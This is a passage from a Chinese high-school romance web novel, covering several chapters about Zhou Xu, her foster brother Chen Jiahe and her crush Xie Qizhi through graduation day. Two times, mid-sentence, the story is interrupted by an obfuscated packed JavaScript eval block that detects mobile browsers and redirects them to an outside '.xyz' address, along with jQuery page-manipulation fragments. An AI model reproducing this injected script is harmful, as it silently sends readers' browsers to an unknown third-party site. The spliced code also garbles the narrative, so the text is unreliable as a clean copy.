“听见没？”不管过程如何，总之对于自己今天英勇的表现，周序是十分得意的。 人上了车之后的一路上，就没闲下来过。 不是在哼着不知名的调子，就是在微信界面和人叭叭聊天，打字打得两根大拇指都打出了残影。 陈嘉禾实在按捺不住好奇，偷偷地往周序的座位那边移了一移，借助余光那么一瞥，好嘛，那些文字登时让他眼前一黑。 15. 白月光8 “谢哥，不是，你听我解释啊。”罗自宽在看到谢祁之的那一刻就已经肠子都悔青了，他也是没想到，那个凭空冒出来的女生还和谢祁之有这种交情！ 他们两个人从初中部升到高中部，还是同班同学，都认识将近四年了，罗自宽就没见谢祁之和哪个异性能走得这么近过！ 他要是早知道陈嘉禾有那个女生撑腰，而那个女生又是谢哥看重的人，他是根本不可能自作主张替谢祁之出这口恶气的啊！ 罗自宽一边替自己挽尊解释一边后退，直到被谢祁之逼到墙角，退无可退。 罗自宽身边的男同学眼见大事不妙，立马挡在了两人之间说好话：“谢哥，宽哥他也是为了你才去找那个陈嘉禾的。要不是这个突然冒出来的转学生，你的第一名也不至于……” “我不需要别人自作主张的为我好。更何况，你以我的名义威胁陈嘉禾，对他动手，你难道觉得我就可以置身事外？你这样子做，究竟是在帮我，还是在害我？” 谢祁之的眼眸中有种罗自宽从未见过的神色，只是被这双眼睛盯上一盯，他的勇气就已经全部离家出走。 “第一名的事情，能者居之，是我技不如人，不需要你们所谓的好心强出头。” 说来也奇怪，谢祁之这个人就像他说话时的语气和句式，客气礼貌，冷淡疏离，如果放在古代，那一定是那种儒雅端方的温润君子。事实当然也差不多如此，他们谁都没有见过谢祁之真正发火的样子。 别说在血气方刚的年纪因为气不过而和人动手干架了，就是爆句粗口，他们这帮子人都没见识过。可就是这样的谢祁之，自问从没怂过的罗自宽在他面前，却是直接从气势上就矮了半截。 好比此刻，罗自宽内心其实是明白的，无论谢祁之如何生气动怒，他都不会对自己动手。可他就是很没出息地，后背浸出了一层冷汗。 “今天的事情，我不希望再有下一次。陈嘉禾的成绩没有问题，还有年级里的那些风言风语无论是被谁传开的，我都已经向年级主任申请了调查。至于你们今天的所作所为和目的动机，我也会如实告诉学校，还请你们以后注意分寸，别再打着为我好的旗号到处闹事。” “谢哥，你这话是……什么意思？”罗自宽慌了。他倒是宁愿这个休眠火山一样的人大爆发一次，哪怕用真正的拳脚毫不留情地招呼上来，也好过是这种难以捉摸的疏远态度。 “我不知道谣言是不是你们传的，但这件事学校会追查到底。打人的事情你们也该接受处分，当然你们既然是为我出气，我也会说明情况。该我担的，我不会躲。” 谢祁之是很公正的，既然被发现了受到处分，似乎也没那么难以接受？更何况，谢哥不是说了吗，他也会适当求求情的。 罗自宽松下口气来，嘴角往上提了一提：“行，做错了事是应该有个悔过的样子，我……” “罗自宽，我们不是一路人，以后非必要还是不要来往了。”撂下这句话，谢祁之就插着兜离开了这条狭窄逼仄的小巷，步伐稳当，从容不迫。 罗自宽呆呆地愣在了原地。其实他刚刚是有预感的，他有预感谢祁之要彻底和他断绝来往，但是毕竟认识这么多年了，总不能因为一个初来乍到的臭小子就…… “宽哥，你还好吧？”旁边的男生满脸愁容，看看谢祁之又看看罗自宽，想安慰又不知道该从何说起。 “你信不信，刚刚他那话，其实早就想说了。”罗自宽抬起头来望着头顶那盏昏黄的路灯，用力猛眨了好几下眼睛，才忽略掉了眼底的那点痒意。 其实，谢祁之也没那么难懂，从他那始终不冷不热的态度就已经能看出来一二了。他从来都没把他当成过朋友，就更别提是什么兄弟了。 今天是因为陈嘉禾的这个契机，可算是让谢祁之逮住了把这话说口的机会吧。 “宽哥，要我说你也不用太放在心上，你讲义气又开朗热情，想和你做朋友的多了去了！” “不一样，情况……不太一样。”那天，罗自宽踩着前面同伴的影子走出了小巷子，一晚上都沉默无话。 之后他一个星期都没有来上学，就在很多同学都以为罗自宽出了什么事，又或者他本人和年级组调查的造谣者有分不开的关系的时候，这个话题的中心人物才再次出现在了大众视野里。 “哟，宽哥，你这是要发愤图强，好好学习了？” 不止是罗自宽的同桌注意到了，全班人都发现了他的改变。校服外套不再是随便丢在一旁，上衣拉锁会规规矩矩地拉到与校徽平齐的位置，上课也不再一趴趴一天，甚至在课堂之上，罗自宽还会积极回答问题。 对此，谢祁之的同桌一脸八卦地戳了戳正埋头演算的人：“你的小跟班变化这么大，欣慰不？” “什么年纪做什么年纪该做的事情，有什么可欣慰的？他早该这样了。” 正在读书拼搏的年纪，的确不应该再沉溺于什么情情爱爱，风花雪月的，那是留给人家有钱又有闲的人士的。 在苦追谢祁之一个月却始终爱而不得后，周序也痛定思痛将这个短期目标切换成了长期目标：“爸妈，我以后不要出国留学了，我要离开国际班，去高考！我要考大学！” 饭桌上，周思邈夹菜夹得依旧飞快，裴佑月也在不紧不慢地给周序剥虾，两个人甚至连眼皮都没怎么掀一下。 “你们，就一点都不惊讶？”周序咬着筷子夹，表面上她一脸无所谓，可实际上饭桌下早就气得一脚将拖鞋蹬飞了。 这么大的事，这么重大的决定，他们难道就没人关心一下自己吗？ “姐姐，你的拖鞋。”陈嘉禾弯腰拾起那只惨遭主人遗弃的拖鞋，垂着眼帘绕过大半张桌子，特意过来放在了她的脚边。 “谢谢啊。” 从那个晚上开始，她和陈嘉禾还有谢祁之的关系就全变了。 陈嘉禾宛若一点脾气都没了，成了个任劳任怨的小跟班，谢祁之也不再是高高在上的男神形象。 谢祁之甚至会在早晨特意骑着单车等在楼下，就为了和他们专程打声招呼再走。有时候他们两方人马都起得早并且偶遇到一起的话，谢祁之还会慢悠悠地骑着车，有一搭没一搭地跟在车后不远不近的位置和她闲聊。 一切都在往周序最期待的方向发展，只是感情上依旧是毫无进展。周序眼看着陈嘉禾和谢祁之明里暗里互相较劲的样子，终于慢慢醒悟过来，她追人追不到，有没有种可能是学霸们的心思压根不在这上面？ 不过话又说回来了，一时犯花痴可以，她总不能一直这样为了个男人继续地浪费大好年华，她也总该为自己打算打算才行。 这年头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833146|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海归的含金量已经大幅缩减，如果不是要深入某一领域的最前沿，现阶段的确还是在国内的大学学习更有性价比。 再说了，陈嘉禾说了，以她的聪明劲以前只是还没好好学，从现在开始努力刻苦的话，一定能考上一所相当不错的大学！ 不是周序非要把陈嘉禾的话奉为金科玉律，而是年纪第一的大学神在学习上是最有发言权的。这种感觉，就像是被大师批了命，信徒还能有不照做的道理吗？ 裴佑月看着陈嘉禾乖乖捡拖鞋，周序又绷着个脸的样子忍不住失笑道：“不是我们不惊讶，是我和你爸早猜到了。这段时间你天天学习到十一二点，我白天就给你换着花样地做菜，还不够有表示？” “那还差不多！”周序已经没什么好不满足的了。 奶盖在林阿姨的照顾下日渐丰满，她每个周末都会去和奶盖在绿草如茵的广场上撒欢疯跑。周家的公司谈到一个大合作，最近公司终于有了点起死回生的样子。男神身边目前最亲近的异性有且只有她一人，陈嘉禾这么一个满身锐气的家伙在她的调教下成了个随叫随到的跟班。 现在，所有的所有，重中之重就只剩下了学习这一项任务。要是再不能拿出点真正的实力来，别说旁观的人了，就是周序自己都要看扁了自己。 “等我把这页题做完，问清楚你了，你就可以回去了。”周序趴在书桌前，嘴上给陈嘉禾布置着任务，可一双眼皮却是越来越重，越来越沉，就像是在每根睫毛上都挂了秤砣。 直到呼吸变得清浅均匀，周序的意识也算是彻底从混沌的题海中抽离了出去。陈嘉禾捏着卷子一角，轻轻地将其从周序的胳膊底下抽了出来。 其实说她有潜力的话，也不全是为了哄人开心的假话，就像这页题上周序虽然做出来的不到半数，可她做出来的都是各类知识点杂糅在一起的基础题型。 这至少证明基础扎实，只是在难度升级和题型奇巧的环节上不够灵活。现在才高一，周序还有大量的时间用来补足短板。 陈嘉禾埋头在卷子上做着批注，从题目重点到公式引用，每一步都写得极尽详细，生怕哪里为图方便而让周序有想不明白的地方。 平常只需十几分钟就解决的事情，陈嘉禾写完看到桌上摆着的小时钟，才发现居然都十一点半了。再把周序叫醒去研究题目显然也不合适。 陈嘉禾拿过笔袋，将卷子押在了最底下，做完这一切后他才推开了椅子准备起身离开。可是椅子腿在地面上摩擦的声音在这种环境下还是太过嘈杂，即便陈嘉禾已经很小心翼翼了，可他还是看到周序的眉头皱起。 周序皱了皱眉，嘴里似乎是轻声嘟囔了句什么。平常清醒的她总是有种死鸭子嘴硬的傲娇感，难得进入浅眠状态，原来养尊处优的小公主也会有这么乖的时候吗？ 鬼使神差的，陈嘉禾没忍住掏出了手机，又打开了照相功能，将这一幕框了进去。 “咔嚓！”糟了，他忘记关声音了。 陈嘉禾的手一抖，照片里原本睡得酣畅香甜的女生五官也跟着模糊起来。然而这还不是最棘手的，透过手机屏幕，他看到周序缓缓睁开了双眼。 在灯光的照耀下，那双堪比琉璃珠子一样剔透晶莹的眸子正定定地盯着他，周序坐起身子，朝陈嘉禾摊开掌心：“手机交出来，照片删掉。” 16. 朱砂痣8 “照片快给我删掉啊，赵南晴！”穿着夏季校服的周序满操场追着人跑，就连怀里的捧花被颠得七零八落也全然顾不上，“刚刚那张我没有准备，不能算！” 赵南晴将手机背在身后，灵活地一个转身后，周序扑了个空：“不会啊，抓拍比摆拍自然多了！” “那你，你是不是也该录个视频，从里面截取好看的图啊！我刚刚那个真的没有表情管理！”周序扁了扁嘴，特意化过淡妆的小脸精致漂亮，即便是在生气，瞧着也格外灵动。 “你怎么就是不信呢！”赵南晴无语，只好将屏幕亮了出来，拿给人瞧，“呐，你仔细看看，不比你在那里站桩出来的效果好？” 周序凑近了仔细一看，顿时不吱声了。 好看嘛，是挺好看的，就是有点糊。周序试探着把自己觉得还可以改进的点提了出来，果然喜提了赵南晴的一顿输出。 “你还说！要不是你来追我让我删掉，我至于手抖嘛！” “哎，我那不是有眼不识泰山，我错了！南晴宝宝就再帮我拍一张吧！”周序摇晃着赵南晴的手臂，“求你了！” “我发现你现在脸皮还真是越来越厚了！”比起从前刚认识时那种由外貌和气质所带来的距离感，毫无疑问，赵南晴还是更喜欢现在的周序。 “那是能屈能伸！”高中三年还是很可以磨炼一个人的心性的，现在的她呢，比起高一时少了点娇纵，多了点善解人意，人缘也不知道因此好了多少倍。 再加上周思邈的公司在她高二下学期时签到了一个大单子，打了个漂亮的翻身仗不说，还一跃成为了桦城数一数二的龙头企业。 他们一家去年搬回了曾经的大别墅里，都不用周序开口，周思邈自己就把奶盖从林阿姨的家里接了回来。 高考完后周序第一时间就估了分，可以说除了那几所叫得上来名字的顶流大学，全国任何一所学校只要运气好点，她应该都可以在不接受调剂的情况下被稳稳当当地录取。 当然，这离不开三年里陈嘉禾“含辛茹苦”地手把手指导，对于这个有能力又有颜值的跟班，现在的周序只有满意。 “周序！那不是你的跟班吗？咦？好奇怪，你男神呢？”赵南晴摆好角度，大拇指还没有点到屏幕上，整个人的眼神都飘远了，“他朝你走过来了诶！” “走过来就走过来呗！他和我拍毕业照也是应该的好吧！先别说话了，现在起风了，快帮我拍一下！” 即使到今天，周序依然没能抱得美人归，可她却一点都焦虑不起来。怎么说呢，人和人的交往还是要靠真心的，她能感觉到，谢祁之可不是什么滥情的渣男，否则整个高中生涯，他的身边怎么可能只会有她一个女生？ 就算周序的家庭背景和自身颜值都算出挑，可放眼整个桦城一中，她绝不是特例。可在谢祁之那里，她得到的优待却是独一份。 等回头正式进入了大学生活，谢祁之女朋友的位置肯定是她的。就是因为有这份笃定，周序才从来不内耗。 周序按照赵南晴的指挥，两个人不断摆着各种造型，以至于什么时候身后站了个人都不知道。 “你这个手，能不能稍微自然点？你这样太假了，很尬诶！”赵南晴摆弄着周序不听话的四肢，一心沉浸在自己的艺术创作里。 “周序！” “啊！”两个女生都被这突然贴近的一嗓子给吓了一大跳，赵南晴还好，周序本人则是立时起了一身的鸡皮疙瘩。 “你们两个，至于不？”李落寒的眼底盛满了促狭的笑意，就那么一错不错地盯着周序看。 “回头我也藏你后面，冷不丁地突然出现吓你一跳，看你至不至于！”周序气鼓鼓地退了一大步，和人拉开些距离，满脸的不开心，“就算你是陈嘉禾的朋友，麻烦事先也保持点距离好吗？我和你可没有什么交情。” 她实在想不明白，大夏天的怎么会有人愿意挨这么近说话，不靠近一点是不会说话了嘛？ “周序，你这话说得可就没有人情味了啊，也不知道上个月是谁托我带了一杯奶茶，还有上上个月……” “你别总拿她开玩笑。”陈嘉禾从栏杆对面走来，隔着还有好些距离，眉头已经不赞成地轻轻皱起。 等几个人的视线向陈嘉禾那边投去时，他已经翻过栏杆，轻松跃过后平稳地落在了地上：“李落寒，队是我们一起排的。还有钱，当下我就转给你了。不光是周序的那份，你的不也是我付的？” 就这一个利落的动作，立马便引起了周围女生们的欢呼。今天可是毕业年级拍大合照的日子，很多其他年级的学弟学妹趁着课间休息也会跑过来看一眼热闹。 她们中的不少人早就听说了这一届的学长学姐中出了两个分数一模一样的高考状元，而且这两个大学霸还是一个赛一个的高大帅气。 有关谢祁之和陈嘉禾二人的存在，早就不是什么稀奇事了，尽管这两人是朋友关系，可粉丝却是掐架掐得十分厉害。 对于很多无心参与其中，中立一派的学生来说，凑热闹是假，抱着赶在学长们毕业前最后远远观摩一眼两位学神才是最主要的。 不过，因为这个半道突然窜出来的男生行为动作过于张扬，长得又一脸阳光帅气，也就第一时间分去了很多人的注意。 “这个学长在高三出名吗？”有小女生当下就捂住了嘴问向旁边的朋友，“长这么帅，应该也是什么名人吧？” 朋友也是无语了，一脸的恨铁不成钢：“这不就是陈嘉禾吗？你吵着闹着要来瞻仰的那二位其中之一！” 对此，李落寒早就习惯了，在陈嘉禾的身边就是免不了要当绿叶陪衬，但因此获得的关注却是以前的好几倍。这么一想，李落寒也就没什么好在意的了。 “诶呦，好好好，你付的你付的，跟谁稀罕得邀功似的……”李落寒将自己大半个胳膊架在陈嘉禾的肩上，借着摩挲下巴的动作和人说悄悄话，“我说你这个藏了三年多的心事，打算什么时候坦白？” 陈嘉禾没有说话，只是冷冷地看着李落寒，直到后者在僵持几秒后实在遭受不住这股子视线，识趣地率先移开了目光。这个话题才算是虎头蛇尾地揭了过去。 “陈嘉禾，要来拍照吗？你们两个一起呗！”赵南晴算是眼看着这对“姐弟”从互不搭理到日渐默契的忠实观众，其实要不是知道周序有偷偷暗恋的男神，她都有点想嗑这一对。 要她说，两个都是帅哥，且都是大学霸，和谁搭不是搭啊。和陈嘉禾这个指哪打哪的乖弟弟在一块，总比和谢祁之那种只可远观不可亵玩的高岭之花好吧？ 但这些都是赵南晴的心里话，认识三年，她从来没有说出来过。 她看得出来，周序的身上有一股子倔强在，只要是周序认定了的事情，让她改变主意只有一种可能，那就是哪天她自己想通了，至于外力，那是一点作用都起不到。 作为亲闺蜜，赵南晴只能暗搓搓地撮合她看好的cp了。反正陈嘉禾对周序的好可是有目共睹，不光是知晓他们这层关系的亲密朋友，就连他们年级里很多同学都不止一次地撞到过陈嘉禾给周序拎包，等她放学的场面。 “你到我这边来。”周序点了点头，把陈嘉禾拉到了自己面前。事实上，即便赵南晴不说，她今天也肯定会找陈嘉禾和谢祁之拍照留念的。 陈嘉禾像是一个任凭摆弄的毛绒玩具，面对周序提出的任何稀奇古怪的姿势要求，就没有不答应的：“你蹲下点，太高了！” 赵南晴一口气拍了十几张，每张在她眼里看来都是可以直接出片的程度。 “好了吗？”周序将右手举起罩在自己的眼前。太阳越来越晃眼了，谢祁之要是再不来，回头拍出的照就有可能变成眯眯眼了。就是后期去P都费劲！ 赵南晴比了个OK的手势，低头一张张翻看起来，不得不感慨一句，俊男美女的组合永远都是那么赏心悦目。 不过……和周序那种营业式假笑不同，镜头里的男生每一下都笑得那样真诚热烈。仔细去看的话会发现，几乎每一张照片里，陈嘉禾的目光都落在了周序的身上。 可惜了，对于一个满心满眼只有其他男生的周序来说，她可能永远注意不到这种近乎于无底线无条件的偏爱。 “谢祁之呢？”等了又等，周序为数不多的耐心已经不是消不消耗的事情了，她都有点想直接找到当事人去质问了，“你别告诉我今天这么重要的日子，他不打算拍照？” 周序这话等于是堵死了陈嘉禾替人拖延的理由，于是沉默几秒钟，陈嘉禾只摇了摇头，如实回答：“不清楚，刚刚我就是班上最后一个下楼的，谢祁之应该早来了吧。” “我给他打个电话问问。” 周序向来是这样。哪怕追人的是她，但她从来不会因为所谓的主动就把自己放在什么低位的位置。也就是说，畏手畏脚，瞻前顾后的舔狗行为和她永远沾不上边。 或许有的人觉得，这样自视甚高的娇纵性格好像有点沉浸在个人的小世界里不可自拔了，可在陈嘉禾眼里，这一点却早成了吸引他的特质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847845|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 毕竟每逢这样的时候，他都会觉得周序是那样地一视同仁。即便是她的男神兼心上人又能怎么样呢，该凶的时候不照样凶嘛！ 陈嘉禾挠了挠鼻头，好半天才把目光从周序的侧脸上移开：“要不然你还是再等等吧。或许他是有什么事情耽搁了，总不可能是故意放你鸽子。” “哪来的那么多事，都是毕业的人了！校长都没他忙。”周序嘴上永远有一百一千个道理在那里等着，但她到底还是听进去了这个建议，只是给谢祁之发过去一条问询的语音，“听你的，我给他发的语音，总不会影响他了吧！” “你那哪是听了我的。”陈嘉禾别扭地嘟囔了一句。尽管心里明知道自己这话最多只是给周序递了一个台阶，但到底没有揭穿。 不管他愿不愿意承认，很明显的一点就是，只要谢祁之晚来一步，她的眼里就会平等地装进去每一个人，包括他。 三年的交情，早让陈嘉禾和谢祁之成了交心的朋友，他自觉自己干不出来横插一杠的事情，但也不想为了本就无心在情爱上面的谢祁之轻易就放弃自己的坚持。 “李落寒，过来拍照。”陈嘉禾板着脸把李落寒拉了过来，明明只有四个人在场，却被他排列组合着不知道搞了多少组照片出来。 半个多小时后，连最热衷在这上面的周序都拍不动了，她索性找了个花坛边，一屁股坐下：“不拍了不拍了，要拍你们三个自己去拍。” “姐姐……”陈嘉禾径直走到周序的面前才停下，他特意换上的新鞋几乎就贴着她的鞋尖，“我今晚能不能……” “周序。” 听到这声呼唤，周序连一丁点犹豫都没有，蹭得一下站起了身：“谢祁之！哎呦……” 周序摸了摸自己被撞得生疼的额头，很不满意地瞪了陈嘉禾一眼：“你站得离我那么近干嘛？快撞死我了！你头是石头做的吗？那么硬！” 娇气的小公主整张面孔都染上了愠恼之色，可再怎么生气也只会是转瞬即逝，因为下一秒，周序推开了陈嘉禾，几步小跑跑到了谢祁之面前：“你怎么才来！我手机里问了你好几次了！” “不好意思啊，我和老师在讨论报志愿和择专业的问题。” 不同于陈嘉禾那种不经意流露出的谦卑，谢祁之这个人身上总有种从容不迫的气场在，哪怕有时候做错事的人明明就是他，也依然不会改变什么：“我知道我来晚了，所以晚上请你吃饭？我们就去你最喜欢，但是很难预约的那家餐厅怎么样？” 又来了！第几次了！谢祁之每回出现得时机怎么都那么……而且，他还抢先一步说了今晚要一起吃饭的话！ 陈嘉禾愤愤不平地抬起头来，顺着周序的背影，迎上谢祁之的目光。 和他时时刻刻满怀着怨怼之意的眼神不同，任何充满攻击力的视线也好，言语也罢，投落在谢祁之的身上甚至掀不起一丝一毫的波澜。 有时候陈嘉禾自己都觉得好笑，怎么可能有正常人会是这样的铁板一块呢，就好像谢祁之和他们生活在了不同的次元，当然，说难听一点就是，谢祁之是个假人。 这么看来，周序的眼光还真是……堪忧，鲜活生动的活人不爱，爱那种一拳打出去跟打进空气里没什么两样的假人？ 越看越想冷哼，陈嘉禾这么想了，不经意地也就这么做了。周序拉着谢祁之过来找他的时候还特意梗着脖子问了一句：“你刚刚在哼什么？不满意？” 周序的这双耳朵，总是在不该灵的时候灵得出奇。陈嘉禾又不能实话实说，只能硬着头皮胡乱回答：“我没有冷哼，是你听错了，李落寒他们两个都可以作证。” 被迫当证人的李落寒和赵南晴一脸懵逼，但所幸两个人十分上道：“那确实，我们什么都没听到。” 谢祁之失笑，没再多说什么。整个高中三年，陈嘉禾对他在某方面的敌意就从来没有消减过，甚至随着年岁的渐长，陈嘉禾还有了点愈演愈烈的意思。 偏偏他又不能说得太破，那样对现阶段他们三个人的感情都不太好。 “陈嘉禾，晚上要一起去吗？” 谢祁之的邀约坦坦荡荡，一点暧昧的余地都没给自己留。周序暗搓搓地瞥了陈嘉禾好几眼，但愿陈嘉禾聪明机灵一点，这次就不要参加了。 反正陈嘉禾住在家里，将来多的得是一起吃饭聚餐的机会，何必就硬要挤到今晚凑热闹呢？ 周序使眼色使得眼皮都快抽筋了，可实诚如陈嘉禾，一点都看不懂：“行啊，大家刚好都放松一下。” 17. 白月光9 好好好，你还真是读书把脑子都读傻了！周序咬着牙抿出一个微笑来，尽量使自己从外表来看不要出现什么太过奇怪的表情。 可下一秒，更加雪上加霜的来了。 因为她看到陈嘉禾拽了一把身边的李落寒：“人多热闹，大家都一起吧。” 李落寒，呵呵，那是出了名的直肠子。人啊太过没有城府，没有心眼，就会显得跟没有脑子一样。 周序几乎想象不出来李落寒不跟着去的画面。 果然，只见李落寒憨笑着，迫不及待地追问了句去哪儿。 “南晴，你也去吧。”反正场面已经是一锅粥了，也不在乎多那一个两个的，连李落寒都要去，周序又怎么可能亏待了自己今天的御用摄影师呢。 更何况，这是借谢祁之的光去犒劳拉拢自己的人，怎么看都很划算啊！ “我吗？我要不然还是……”一个不字都快要从嘴巴里蹦跶出来了，赵南晴又瞥到脸黑的周序，立马改了口，“那行，我也去！” 谢祁之加入之后又和大家拍了几张照，再然后就是各班以及年级里组织的大合照。东一榔头西一棒槌，赶场似的一样仓促，等大家准备离校时已经要中午了。 正是一天之中最热的时候，周序撑着一把遮阳伞站在大太阳底下，连眼睛想要完全睁开都有点费劲：“真不用我等你？” 陈嘉禾摇了摇头，这次态度很是坚决：“我自己一个人就好。现在太阳毒，姐姐还是赶紧回家午休吧。” 周序只知道陈嘉禾是要去找他高一时的班主任张素华，至于他们要谈什么做什么，她就不得而知了：“那我们给你留饭。” —— 饭后，周序睡了超级长的一个午觉。高考结束也有几天了，她从一开始的骤然松懈再到现在的逐渐习惯，居然直到今天才睡了第一个安安稳稳的午觉。 周序推开房门，有些诧异地挑了挑眉，爸妈都不在家还能解释，毕竟不过节假日也不是周末的，家里没有道理会出现两个正当时的中年人。可为什么连陈嘉禾的影子都没有呢？ 周序在家里各个房间都逛了一遍，这期间，奶盖简直化身成了她的随身挂件，走哪儿跟哪儿，周序也是很无奈地不断轻拍着狗头：“奶盖，让我过一下！” 奶盖哼哧哼哧地吐着大舌头围着周序打转，说来也是很神奇，自从去林阿姨家住了一段时间以后，奶盖就变得更加黏人了。 可能是怕被主人再次抛弃，周序打开自己房门的时候，十次里有八次奶盖都没有回自己的狗窝，而是乖乖地卧在她的房门口。一看到周序以后，那只尾巴更是直接晃成螺旋桨。 最开始的那段日子，周序甚至都有点不敢面对奶盖。它对她的信任太过无条件和绝对了，这样的狗狗，只会让她觉得自己是个不称职的主人。 但好在，这样的尴尬期很快就被奶盖的热情所彻底冲散，周序还是那么喜欢和奶盖进行一些看起来很幼稚的对话：“奶盖，你有见过你弟吗？” 周序按照自己的那套逻辑给家中成员按照长幼排了个序，陈嘉禾进家门的时间最短，理所当然地排在了奶盖之后。 奶盖清澈剔透的眸子里只倒映着周序，它当然不知道了，周序本来也没指望一只萨摩耶能给出什么有用的指示。她只是一边安抚地拍着奶盖的大脑壳，一边微信上给陈嘉禾发去了一条信息。 也是这时，她才注意到手机上的时间，居然已经五点多了。他们几个说好了晚上七点要一起出去吃饭的！根本来不及磨蹭，周序飞快地冲凉洗漱，开始对着自己即将要出门的一身行头发愁。 别墅里是有着周序自己单独的衣帽间的，比起高一时迫不得已的“蜗居”，周序显然对这样宽敞且私密性极高的空间更为满意。 在今天之前，她几乎没有这种富人出行要面临的长达一个多小时的搭配烦恼，反正统一制式的校服一穿，谁来了都一样。 周序坐在地上，看着被她翻出来的满地的小裙子和各种套装，皱起的眉头越来越紧。 家门就是在这个时候被敲响的，一下接着一下，敲的好像不是门，是周序的太阳穴。 真是，要多烦有多烦。 “敲敲敲，不是有钥匙吗还敲什么门？你直接进……”周序迈过被自己翻得乱糟糟的地板，径直拉开了房门，却不想正对上了谢祁之那张笑意盈盈的脸。 一口气还没喘上来，周序已经下意识地把家门反手给甩上了。 嘶，你关什么门啊！就差把心虚俩字写脸上了！就算是家里乱了一点也是情有可原的嘛。周序扭头看了眼身后的地板，好吧，可能不是乱了一点，而是亿点。 周序也是有点被自己蠢笑了。原地踌躇了几秒，她才做贼心虚地将耳朵贴到了门上。 即便隔着道门板，周序似乎也能清楚地听到谢祁之在那头的低笑声：“周序，我就只是想说句话而已，你也没必要这么大反应吧？” “你，你稍等一下下！”周序回身，不管三七二十一就一股脑地把地板上散落着的衣服全抱了起来。 这回也顾不上什么褶不褶皱的了，管它是什么材质，全都被周序塞进了衣柜里。 赵南晴拿着手机掐了时间，五分钟，也不知道她这位朋友在屋子里干了什么见不得男神的小动作，居然敢把谢祁之晾了整整五分钟！ 这还是那个周序吗？ 赵南晴往后退了半步，悄悄给周序发过去几条微信进行轰炸。只是她轰炸是轰炸过了，周序那头却是一点反应都没有。 得，八成又静音了。这手机在周序身上，有时候就跟个砖头一样，纯纯一摆设。 “请，请进！”又过了两三分钟，周序终于喘着大粗气给谢祁之打开了家门。 谢祁之还没来得及抬腿，另外一颗毛茸茸的脑袋就从旁边很突兀地插了进来，李落寒眨巴了眨巴他那双两眼无神的大眼睛：“你做什么了？满头的汗！” “李落寒！这么多人，就你一个人眼睛好使吗？”周序几乎是咬牙切齿说出这一句话来的。 “走了！让我这个参谋进去，帮你挑挑晚上要穿什么衣服！” 关键时刻，还是得看赵南晴的，就两个字：靠谱！ 周序侧身让几人进了屋，谢祁之是最后一个进屋的，所以走在前面的两个人也并不知道，谢祁之专门给周序递上了一张湿巾。 “谢谢……”湿巾冰凉的触感在这一刻只有火热的烫意，灼烧得周序连头也不好意思抬。 好在无论是谢祁之还是赵南晴，都不是第一次造访这个大别墅了，他们两个全程轻车熟路。 可以说，从最初的震惊艳羡，再到现在的习惯甚至于是麻木，每个人都接受良好。除了，眼睛亮了又亮的李落寒。 他的哇声几乎就没有断过，左看看右瞧瞧，人倒是很有边界感地没有肆意 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“张老师对陈嘉禾很好。”这一回解答周序疑惑的人甚至都没轮到李落寒，谢祁之抢过了话茬，“毕业答谢恩师，聊得时间久了点也很正常。” 周序不禁挑了挑眉，实话说，她对这个样子的谢祁之有些讶异。依照她对谢祁之的了解，有很多时候，谢祁之甚至是有点事不关己，高高挂起的淡漠性格的。 就算他知道，也多半不会搭话。今天这是，怎么了？难道是因为问问题的人是她？很多时候，谢祁之的表现真的不得不让她想偏想多。 周序打量着谢祁之，不知不觉地羞红了脸庞，至于自己那个问题的初衷，早已经被她忘到了九霄云外。 谢祁之对此还一无所知，甚至和李落寒你来我往地聊了起来。 “大学霸，这你就不知道了吧？人家张老师邀请陈嘉禾去他家，还有别的目的！”李落寒适时地停顿下来，在瞥到三人都向他投来不同程度的好奇眼神后，才继续翘着嘴角说了下去，“是想让他帮忙辅导一下自己家孩子！” 啊？这可就涉及到周序的认知盲区了，她看了看一脸清澈愚蠢的李落寒，还是果断把目光转向了谢祁之：“张素华是老师啊，他难道自己还教不了小孩学习吗？再说了，他同事那么多，哪个不比陈嘉禾这个毫无教学经验的学生强？” 谢祁之若有所思：“这个我倒是能理解。有时候学生思维和教师思维不一样，找同年龄段的学生辅导，效果未必会比跟着老师学差。” “你这么说的话，我就懂了。”可不是？自己能这么突飞猛进，至少一半的功劳都要颁给陈嘉禾才行！ “哎呀，你们懂个啥，还假模假样地分析起来了！人家张老师的娃是女儿！初中正在早恋的叛逆女儿！不找个帅气又气质阴郁的准男大，能镇住场子吗？” 沉默，落针可闻。尴尬，无限蔓延。 周序不明白为什么谢祁之和赵南晴没点反应，反正她属实是接收的信息量过大，大脑都有点运转不起来了。 最后还是靠着身边的谢祁之在她面前打了个响指，周序才算是回过了神。 谢祁之靠在桌边，双手环抱在胸前：“不管有什么样的内情，陈嘉禾不像是会迟到的人。倒是你周序，手机不看，微信不回，我也是怕自己今晚饭局的主角放我鸽子，所以才来亲自上门请你。” “麻烦挑身衣服，赏个光？” 18. 朱砂痣9 请问，你是在撩我吗？是吧是吧，一定是在撩吧！ 谁家正常人说这种暧昧不清，惹人遐想，毫无边界感的话啊！谢祁之啊谢祁之，别看平时装得跟个得道高僧一样，没想到你还是走禁欲系的啊！这几句话就轻松把你出卖了？ 说真的，要不是旁边有个心直口快的李落寒在场，周序都要当场笑出声来了。 “咱就是说，你也不要太小瞧人了，我也不是那种没有时间观念的人！”周序对旁边看好戏看入迷了的赵南晴摆了摆手，“南晴宝贝，快，陪我去选身衣服！” 